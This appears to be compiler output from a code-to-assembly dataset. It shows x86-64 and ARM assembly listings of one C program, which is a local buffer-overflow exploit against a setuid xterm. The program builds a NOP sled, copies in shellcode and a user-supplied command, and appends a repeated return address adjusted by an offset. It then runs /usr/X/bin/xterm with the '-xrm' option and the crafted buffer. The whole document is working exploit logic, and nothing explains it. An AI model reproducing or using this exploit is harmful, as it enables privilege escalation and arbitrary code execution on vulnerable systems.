	.file	"extr_19202.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Usage: %s [command] [offset]\n"
.LC1:
	.string	"start_address = 0x%x\n"
.LC2:
	.string	"ret = 0x%x,\n"
.LC3:
	.string	"offset = %d\n"
.LC4:
	.string	"command = %s\n"
.LC5:
	.string	"buffer size = %d\n"
.LC6:
	.string	"-xrm"
.LC7:
	.string	"xterm"
.LC8:
	.string	"/usr/X/bin/xterm"
.LC9:
	.string	"exec failed"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	rbx, rsi
	sub	rsp, 56
	mov	edx, DWORD PTR RET_LENGTH[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR BUFFER_SIZE[rip]
	mov	rsi, rsp
	lea	eax, 1[rax+rdx*4]
	cdqe
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rsi, rax
	and	rdx, -16
	mov	rax, rsi
	cmp	rsp, rax
	je	.L3
.L25:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L25
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L26
.L4:
	lea	eax, -2[rdi]
	mov	r12, rsp
	cmp	eax, 1
	ja	.L27
	mov	QWORD PTR -80[rbp], 0
	mov	r13, QWORD PTR 8[rbx]
	cmp	edi, 3
	jne	.L6
	mov	rdi, QWORD PTR 16[rbx]
	call	atol@PLT
	mov	QWORD PTR -80[rbp], rax
.L6:
	mov	rdi, r13
	call	strlen@PLT
	movsx	rdx, DWORD PTR LEN[rip]
	mov	rcx, QWORD PTR shell[rip]
	not	eax
	mov	BYTE PTR [rcx+rdx], al
	movsx	rdx, DWORD PTR LEN[rip]
	mov	esi, eax
	mov	rcx, QWORD PTR shell[rip]
	sar	esi, 16
	mov	BYTE PTR 1[rcx+rdx], ah
	movsx	rdx, DWORD PTR LEN[rip]
	shr	eax, 24
	mov	rcx, QWORD PTR shell[rip]
	mov	BYTE PTR 2[rcx+rdx], sil
	movsx	rdx, DWORD PTR LEN[rip]
	mov	rcx, QWORD PTR shell[rip]
	mov	BYTE PTR 3[rcx+rdx], al
	lea	rax, -60[rbp]
	mov	r14d, DWORD PTR BUFFER_SIZE[rip]
	mov	QWORD PTR -96[rbp], rax
	mov	eax, 134510864
	sub	rax, QWORD PTR -80[rbp]
	mov	QWORD PTR -88[rbp], rax
	test	r14d, r14d
	jle	.L10
	lea	edx, -1[r14]
	movzx	ecx, BYTE PTR NOP[rip]
	mov	rax, r12
	lea	rdx, 1[r12+rdx]
	.p2align 4,,10
	.p2align 3
.L9:
	mov	BYTE PTR [rax], cl
	add	rax, 1
	cmp	rax, rdx
	jne	.L9
.L10:
	mov	rdi, r13
	xor	r15d, r15d
	call	strlen@PLT
	mov	rdi, QWORD PTR shell[rip]
	sub	r14d, eax
	call	strlen@PLT
	mov	rdi, QWORD PTR shell[rip]
	sub	r14d, eax
	movsx	rax, r14d
	mov	QWORD PTR -72[rbp], rax
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L11:
	mov	rdi, QWORD PTR shell[rip]
	mov	rax, QWORD PTR -72[rbp]
	movzx	ecx, BYTE PTR [rdi+r15]
	add	rax, r12
	mov	BYTE PTR [rax+r15], cl
	add	r15, 1
.L8:
	lea	ebx, [r14+r15]
	call	strlen@PLT
	cmp	eax, r15d
	jg	.L11
	movsx	rax, ebx
	xor	r15d, r15d
	mov	QWORD PTR -72[rbp], rax
	jmp	.L12
	.p2align 4,,10
	.p2align 3
.L13:
	mov	rax, QWORD PTR -72[rbp]
	movzx	ecx, BYTE PTR 0[r13+r15]
	add	rax, r12
	mov	BYTE PTR [rax+r15], cl
	add	r15, 1
.L12:
	mov	rdi, r13
	lea	r14d, [rbx+r15]
	call	strlen@PLT
	cmp	eax, r15d
	jg	.L13
	mov	esi, DWORD PTR RET_LENGTH[rip]
	test	esi, esi
	jle	.L14
	lea	edx, -1[rsi]
	movsx	rdi, r14d
	mov	ecx, DWORD PTR -88[rbp]
	mov	rsi, rdx
	lea	rdx, 4[r12+rdx*4]
	lea	rax, [r12+rdi]
	add	rdx, rdi
	.p2align 4,,10
	.p2align 3
.L15:
	mov	DWORD PTR [rax], ecx
	add	rax, 4
	cmp	rax, rdx
	jne	.L15
	lea	r14d, 4[r14+rsi*4]
.L14:
	mov	rsi, QWORD PTR -96[rbp]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	movsx	r14, r14d
	mov	BYTE PTR [r12+r14], 0
	call	printf@PLT
	mov	rsi, QWORD PTR -88[rbp]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR -80[rbp]
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, r13
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rdi, r12
	call	strlen@PLT
	lea	rdi, .LC5[rip]
	mov	esi, eax
	xor	eax, eax
	call	printf@PLT
	xor	r8d, r8d
	mov	rcx, r12
	lea	rdx, .LC6[rip]
	lea	rsi, .LC7[rip]
	lea	rdi, .LC8[rip]
	call	execl@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L28
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L27:
	.cfi_restore_state
	mov	rdx, QWORD PTR [rbx]
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
	mov	QWORD PTR -80[rbp], 0
	mov	r13, QWORD PTR 8[rbx]
	jmp	.L6
.L26:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L28:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	shell,8,8
	.comm	RET_LENGTH,4,4
	.comm	NOP,1,1
	.comm	LEN,4,4
	.comm	BUFFER_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19202.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: %s [command] [offset]\012\000"
	.align	2
.LC1:
	.ascii	"start_address = 0x%x\012\000"
	.align	2
.LC2:
	.ascii	"ret = 0x%x,\012\000"
	.align	2
.LC3:
	.ascii	"offset = %d\012\000"
	.align	2
.LC4:
	.ascii	"command = %s\012\000"
	.align	2
.LC5:
	.ascii	"buffer size = %d\012\000"
	.align	2
.LC6:
	.ascii	"-xrm\000"
	.align	2
.LC7:
	.ascii	"xterm\000"
	.align	2
.LC8:
	.ascii	"/usr/X/bin/xterm\000"
	.align	2
.LC9:
	.ascii	"exec failed\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC10:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #28
	ldr	r3, .L22
	ldr	r4, .L22+4
	ldr	r2, [r3]
	ldr	r3, [r4]
	mov	r6, r1
	add	r3, r3, r2, lsl #2
	add	r3, r3, #8
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L22+8
	sub	r2, r0, #2
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	cmp	r2, #1
	add	r3, sp, #8
	str	r3, [fp, #-48]
	bhi	.L19
	cmp	r0, #3
	movne	r3, #0
	ldr	r5, [r1, #4]
	strne	r3, [fp, #-52]
	beq	.L20
.L3:
	mov	r0, r5
	bl	strlen
	mvn	r0, r0
	ldr	r3, .L22+12
	ldr	r10, .L22+16
	ldr	r2, [r3]
	ldr	ip, [r10]
	asr	r1, r0, #8
	strb	r0, [ip, r2]
	ldr	ip, [r3]
	ldr	r2, [r10]
	ldr	r6, .L22+20
	add	r2, r2, ip
	strb	r1, [r2, #1]
	ldr	ip, [r3]
	ldr	r2, [r10]
	asr	r1, r0, #16
	add	r2, r2, ip
	strb	r1, [r2, #2]
	ldr	r2, [r3]
	ldr	r3, [r10]
	lsr	r0, r0, #24
	add	r3, r3, r2
	strb	r0, [r3, #3]
	ldr	r4, [r4]
	ldr	r3, [fp, #-52]
	cmp	r4, #0
	sub	r6, r6, r3
	ble	.L7
	ldr	r3, .L22+24
	sub	r2, r4, #1
	ldrb	r1, [r3]	@ zero_extendqisi2
	ldr	r3, [fp, #-48]
	add	r2, r3, r2
	sub	r3, r3, #1
.L6:
	strb	r1, [r3, #1]!
	cmp	r3, r2
	bne	.L6
.L7:
	mov	r0, r5
	bl	strlen
	ldr	r7, [r10]
	mov	r10, r0
	mov	r0, r7
	bl	strlen
	sub	r10, r4, r10
	ldr	r3, [fp, #-48]
	sub	r10, r10, r0
	sub	r2, r10, #1
	mov	r4, #0
	add	r9, r3, r2
	b	.L5
.L8:
	ldrb	r3, [r7, r4]	@ zero_extendqisi2
	mov	r0, r7
	strb	r3, [r9, #1]!
	bl	strlen
	add	r4, r4, #1
.L5:
	cmp	r4, r0
	add	r8, r10, r4
	blt	.L8
	ldr	r3, [fp, #-48]
	sub	r10, r8, #1
	mov	r4, #0
	add	r10, r3, r10
	b	.L9
.L10:
	ldrb	r2, [r5, r4]	@ zero_extendqisi2
	add	r4, r4, #1
	strb	r2, [r10, #1]!
.L9:
	mov	r0, r5
	bl	strlen
	cmp	r0, r4
	add	r2, r4, r8
	bgt	.L10
	ldr	r3, .L22
	ldr	r0, [r3]
	cmp	r0, #0
	ble	.L11
	ldr	r3, [fp, #-48]
	add	r1, r3, r0, lsl #2
	add	r1, r1, r2
	add	r3, r3, r2
.L12:
	str	r6, [r3], #4
	cmp	r1, r3
	bne	.L12
	add	r2, r2, r0, lsl #2
.L11:
	mov	r4, #0
	ldr	r7, [fp, #-48]
	sub	r1, fp, #44
	strb	r4, [r7, r2]
	ldr	r0, .L22+28
	bl	printf
	mov	r1, r6
	ldr	r0, .L22+32
	bl	printf
	ldr	r1, [fp, #-52]
	ldr	r0, .L22+36
	bl	printf
	mov	r1, r5
	ldr	r0, .L22+40
	bl	printf
	mov	r0, r7
	bl	strlen
	mov	r1, r0
	ldr	r0, .L22+44
	bl	printf
	mov	r3, r7
	ldr	r2, .L22+48
	ldr	r1, .L22+52
	ldr	r0, .L22+56
	str	r4, [sp]
	bl	execl
	ldr	r0, .L22+60
	bl	puts
	ldr	r3, .L22+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L21
	mov	r0, r4
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L20:
	ldr	r0, [r1, #8]
	bl	atol
	str	r0, [fp, #-52]
	b	.L3
.L19:
	ldr	r3, .L22+64
	ldr	r2, [r1]
	ldr	r0, [r3]
	ldr	r1, .L22+68
	bl	fprintf
	mov	r0, #1
	bl	exit
	mov	r3, #0
	ldr	r5, [r6, #4]
	str	r3, [fp, #-52]
	b	.L3
.L21:
	bl	__stack_chk_fail
.L23:
	.align	2
.L22:
	.word	RET_LENGTH
	.word	BUFFER_SIZE
	.word	.LC10
	.word	LEN
	.word	shell
	.word	134510864
	.word	NOP
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	stderr
	.word	.LC0
	.size	main, .-main
	.comm	stderr,4,4
	.comm	shell,4,4
	.comm	RET_LENGTH,4,4
	.comm	NOP,1,1
	.comm	LEN,4,4
	.comm	BUFFER_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
